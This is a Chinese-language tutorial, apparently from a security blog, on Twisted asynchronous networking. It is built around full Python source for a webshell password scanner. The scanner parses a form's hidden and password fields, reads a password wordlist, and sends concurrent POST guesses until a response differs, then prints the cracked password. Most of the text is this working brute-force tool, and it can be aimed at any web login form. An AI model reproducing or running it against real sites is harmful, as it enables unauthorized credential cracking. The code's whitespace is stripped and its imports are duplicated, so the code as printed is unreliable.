利用Python的Twisted框架实现webshell密码扫描器的教程
好久以来都一直想学习windows中得iocp技术,即异步通信,但是经过长时间研究别人的c++版本,发现过于深奥了,有点吃力,不过幸好python中的twisted技术的存在方便了我。
iocp即异步通信技术,是windows系统中现在效率最高的一种选择,异步通信顾名思义即与同步通信相对,我们平时写的类似socket.connect accept等都属于此范畴,同样python中得urlopen也是同步的(为什么提这个,是因为和后面的具体实现有关),总而言之,我们平时写的绝大多数socket,http通信都是同步的。
同步的程序优点是好想,好写。缺点大家都应该感受到过,比如在connect的时候,recive的时候,程序都会阻塞在那里,等上片刻才能继续前进。
异步则是另一种处理思路,类似于xml解析的sax方法,换句话说,就是当面临conncet,recive等任务的时候,程序先去执行别的代码,等到网络通信有了结果,系统会通知你,然后再去回调刚才中断的地方。
具体的代码下面有,我就细说了,大概总结下下面代码涉及到的技术
1.页面解析,webshell密码自动post,必然涉及到页面解析问题,即如何去找到页面中form表单中合适的input元素并提交,其中包括了hidden的有value,password的需要配合字典。具体实现靠的是SGMLParser
2.正常的页面请求,我利用了urlopen(为了使用cookie,实际使用的是opener),片段如下
cj=cookielib.CookieJar() opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) req=urllib2.Request(url,urllib.urlencode(bodyfieleds)) resp=opener.open(req,timeout=60) strlist=resp.read()
代码简单,这就是python的魅力,bodyfieleds即为post的参数部分,是一个字典
3.异步的页面请求,这里用了twisted的getpage片段如下:
self.PostDATA[self.passw]=passl #printtemp zs=getPage(self.url,method='POST',postdata=urllib.urlencode(self.PostDATA),headers=self.headers) zs.addCallback(self.parse_page,self.url,passl).addErrback(self.fetch_error,self.url,passl)
可以看到如何利用getPage去传递Post参数,以及header(cookie也是防盗header里面的)
以及自定义的Callback函数,可以添加写你需要的参数也传过去,我这里使用了url和pass
4.协程并发,代码如下:
defInitTask(self): forpasslinself.passlist[:]: d=self.addURL(passl) yieldd defDoTask(self): deferreds=[] coop=task.Cooperator() work=self.InitTask() foriinxrange(self.ThreadNum): d=coop.coiterate(work) deferreds.append(d) dl=defer.DeferredList(deferreds)
就是这些了。效率上,我在网络通信较好的情况下,40s可以发包收包大致16000个
#-*-coding:utf-8-*- #coding=utf-8 # # #codebyicefish #http://insight-labs.org/ #http://wcf1987.iteye.com/ # fromtwisted.internetimportiocpreactor iocpreactor.install() fromtwisted.web.clientimportgetPage fromtwisted.internetimportdefer,task fromtwisted.internetimportreactor importos fromhttplibimportHTTPConnection importurllib importurllib2 importsys importcookielib importtime importthreading fromQueueimportLifoQueue #importhttplib2 fromsgmllibimportSGMLParser importos fromhttplibimportHTTPConnection importurllib importurllib2 importsys importcookielib importtime importthreading fromQueueimportLifoQueue fromsgmllibimportSGMLParser classURLLister(SGMLParser): def__init__(self): SGMLParser.__init__(self) self.input={} defstart_input(self,attrs): #printattrs fork,vinattrs: ifk=='type': type=v ifk=='name': name=v ifk=='value': value=v iftype=='hidden'andvalue!=None: self.input[name]=value iftype=='password': self.input['icekey']=name classwebShellPassScan(object): def__init__(self,url,dict): self.url=url self.ThreadNum=10 self.dict=dict defgetInput(self,url): html,c=self.PostUrl(url,'') parse=URLLister() parse.feed(html) returnparse.input defPostUrl(self,url,bodyfieleds): try: cj=cookielib.CookieJar() opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) req=urllib2.Request(url,urllib.urlencode(bodyfieleds)) resp=opener.open(req,timeout=60) strlist=resp.read() cookies=[] forcincj: cookies.append(c.name+'='+c.value) returnstrlist,cookies except: return'' defparse_page(self,data,url,passk): #printurl self.TestNum=self.TestNum+1 ifdata!=self.sretandlen(data)!=0anddata!='iceerror': self.timeEnd=time.time() print'ScanPasswordEnd:'+time.strftime('%Y-%m-%d%H:%M:%S',time.localtime(self.timeEnd)) print'totalScanTime:'+str((self.timeEnd-self.timeStart)),'s' print'totalScanPasswords:'+str(self.TestNum) print"*************************thekeypass***************************\n" printpassk print"*************************thekeypass***************************\n" reactor.stop() ifself.TestNum%1000==0: #printTestNum sys.stdout.write('detectPasswordNum:'+str(self.TestNum)+'\n') sys.stdout.flush() deffetch_error(self,error,url,passl): self.addURL(passl) defrun(self): self.timeStart=0 self.timeEnd=0 self.TestNum=0 self.sret='' print'\n\ndetecttheWebShellURL:'+self.url self.PassNum=0 self.timeStart=time.time() print'ScanPasswordStart:'+time.strftime('%Y-%m-%d%H:%M:%S',time.localtime(self.timeStart)) filepath=os.path.abspath(os.curdir) file=open(filepath+"\\"+self.dict) self.passlist=[] forlinesinfile: self.passlist.append(lines.strip()) #printlines.strip() file.close() PassNum=len(self.passlist) print'getpasswordsnum:'+str(PassNum) inputdic=self.getInput(self.url) self.passw=inputdic['icekey'] delinputdic['icekey'] self.PostDATA=dict({self.passw:'icekey'},**inputdic) self.sret,cookies=self.PostUrl(self.url,self.PostDATA) self.headers={'Content-Type':'application/x-www-form-urlencoded'} self.headers['cookies']=cookies print'cookies:'+str(cookies) self.DoTask() #self.DoTask2() #self.DoTask3() print'startrun' self.key='start' reactor.run() defInitTask(self): forpasslinself.passlist[:]: d=self.addURL(passl) yieldd defInitTask2(self): forpasslinself.passlist[:]: d=self.sem.run(self.addURL,passl) self.deferreds.append(d) defInitTask3(self): forpasslinself.passlist[:]: d=self.addURL(passl) self.deferreds.append(d) defDoTask(self): deferreds=[] coop=task.Cooperator() work=self.InitTask() foriinxrange(self.ThreadNum): d=coop.coiterate(work) deferreds.append(d) dl=defer.DeferredList(deferreds) #dl.addErrback(self.errorCall) #dl.addCallback(self.finish) defDoTask2(self): self.deferreds=[] self.sem=defer.DeferredSemaphore(self.ThreadNum) self.InitTask2() dl=defer.DeferredList(self.deferreds) defDoTask3(self): self.deferreds=[] self.InitTask3() dl=defer.DeferredList(self.deferreds) defaddURL(self,passl): self.PostDATA[self.passw]=passl #printtemp zs=getPage(self.url,method='POST',postdata=urllib.urlencode(self.PostDATA),headers=self.headers) zs.addCallback(self.parse_page,self.url,passl).addErrback(self.fetch_error,self.url,passl) returnzs a=webShellPassScan('http://192.168.0.2:8080/f15.jsp','source_new.txt') a.run()